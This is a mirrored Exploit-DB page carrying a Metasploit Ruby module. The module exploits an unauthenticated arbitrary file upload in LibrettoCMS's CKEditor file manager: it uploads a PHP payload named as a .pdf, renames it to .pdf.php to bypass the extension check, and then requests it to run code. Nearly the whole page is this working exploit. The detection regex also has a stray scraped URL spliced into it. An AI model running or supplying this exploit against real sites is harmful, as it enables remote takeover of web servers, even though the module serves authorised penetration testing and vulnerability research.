LibrettoCMS File Manager – Arbitrary File Upload (Metasploit)

  • 作者: Metasploit
    日期: 2013-06-24
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/26421/
  • ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking
    
    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::PhpEXE
    
    def initialize(info={})
    super(update_info(info,
    'Name' => "LibrettoCMS File Manager Arbitary File Upload Vulnerability",
    'Description'=> %q{
    This module exploits a file upload vulnerability found in LibrettoCMS 1.1.7, and
    possibly prior.Attackers bypass the file extension check and abuse the upload
    feature in order to upload a malicious PHP file without authentication, which
    results in arbitary remote code execution.
    },
    'License'=> MSF_LICENSE,
    'Author' =>
    [
    'CWH',
    'sinn3r'#Metasploit
    ],
    'References' =>
    [
    ['OSVDB', '94391'],
    ['EDB', '26213']
    ],
    'Payload'=>
    {
    'BadChars' => "\x00"
    },
    'Platform' => ['linux', 'php'],
    'Targets'=>
    [
    [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' }],
    [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux'} ]
    ],
    'Privileged' => false,
    'DisclosureDate' => "Jun 14 2013",
    'DefaultTarget'=> 0))
    
    register_options(
    [
    OptString.new('TARGETURI', [true, 'The base path to LibrettoCMS', '/librettoCMS_v.2.2.2/'])
    ], self.class)
    end
    
    
    def peer
    "#{rhost}:#{rport}"
    end
    
    
    def check
    res = send_request_raw({'uri' => normalize_uri(target_uri.path)})
    if not res
    print_error("#{peer} - Connection timed out")
    return Exploit::CheckCode::Unknown
    end
    
    if res.body =~ /Powered by <a href="https://www.exploit-db.com/exploits/26421/.+">Libretto CMS/
    return Exploit::CheckCode::Detected
    end
    
    Exploit::CheckCode::Safe
    end
    
    
    def upload(base)
    p = get_write_exec_payload(:unlink_self=>true)
    fname = "#{Rex::Text.rand_text_alpha(6)}.pdf"
    
    data = Rex::MIME::Message.new
    data.add_part(fname, nil, nil, "form-data; name=\"Filename\"")
    data.add_part(p, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{fname}\"")
    data.add_part('Submit Query', nil, nil, 'form-data; name="Upload"')
    post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
    
    uri = normalize_uri(base, 'adm', 'ui', 'js', 'ckeditor', 'plugins', 'pgrfilemanager', 'php', 'upload.php')
    
    res = send_request_cgi({
    'method' => 'POST',
    'uri'=> uri,
    'ctype'=> "multipart/form-data; boundary=#{data.bound}",
    'data' => post_data,
    'vars_get' => {'type'=>'all files'}
    })
    
    if not res
    fail_with(Exploit::Failure::Unknown, "#{peer} - Request timed out while uploading")
    elsif res.code.to_i != 200
    fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Unknown reply: #{res.code.to_s}")
    end
    
    fname
    end
    
    
    def rename(base, original_fname)
    new_name = "#{Rex::Text.rand_text_alpha(5)}.pdf.php"
    uri = normalize_uri(base, 'adm', 'ui', 'js', 'ckeditor', 'plugins', 'pgrfilemanager', 'php', 'files.php')
    res = send_request_cgi({
    'method'=> 'POST',
    'uri' => uri,
    'vars_get'=> { 'type' => 'all files' },
    'vars_post' => {
    'fun' => 'renameFile',
    'dir' => '',
    'filename'=> original_fname,
    'newFilename' => new_name
    }
    })
    
    if not res
    fail_with(Exploit::Failure::Unknown, "#{peer} - Request timed out while renaming")
    elsif res.body !~ /"res":"OK"/
    fail_with(Exploit::Failure::Unknown, "#{peer} - Failed to rename file")
    end
    
    new_name
    end
    
    
    def exec(base, payload_fname)
    res = send_request_cgi({ 'uri' => normalize_uri(base, 'userfiles', payload_fname) })
    if res and res.code.to_i == 404
    fail_with(Exploit::Failure::NotFound, "#{peer} - Not found: #{payload_fname}")
    end
    end
    
    
    def exploit
    base = target_uri.path
    
    print_status("#{peer} - Uploading malicious file...")
    orig_fname = upload(base)
    
    print_status("#{peer} - Renaming #{orig_fname}...")
    new_fname = rename(base, orig_fname)
    
    print_status("#{peer} - Executing #{new_fname}...")
    exec(base, new_fname)
    end
    end